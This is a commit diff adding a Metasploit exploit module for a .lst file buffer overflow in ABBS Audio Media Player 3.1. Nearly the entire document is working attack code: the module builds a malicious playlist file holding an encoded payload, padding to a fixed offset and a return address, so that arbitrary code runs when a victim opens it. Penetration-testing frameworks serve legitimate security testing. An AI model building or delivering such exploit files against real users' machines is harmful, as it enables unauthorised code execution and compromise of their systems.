Land #2038, @modpr0be exploit for ABBS Audio Media Player

modules/exploits/windows/fileformat/abbs_amp_lst.rb

@@ -0,0 +1,72 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'ABBS Audio Media Player .LST Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability
+				occurs when adding an .lst, allowing arbitrary code execution with the privileges
+				of the user running the application . This module has been tested successfully on
+				ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Julian Ahrens', # Vulnerability discovery and PoC
+					'modpr0be <modpr0be[at]spentera.com>' # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'OSVDB', '75096' ],
+					[ 'EDB', '25204' ]
+				],
+			'DefaultOptions'  =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Platform'       => 'win',
+			'Payload'        =>
+				{
+					'BadChars'        => "\x00\x0a\x0d",
+					'DisableNops'     => true,
+				},
+			'Targets'        =>
+				[
+					[ 'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1',
+						{
+							'Ret'     => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe
+							'Offset'  => 4108,
+						}
+					]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Jun 30 2013',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),
+			], self.class)
+
+	end
+
+	def exploit
+		buffer = payload.encoded
+		buffer << rand_text(target['Offset'] - (payload.encoded.length))
+		buffer << [target.ret].pack('V')
+
+		file_create(buffer)
+	end
+end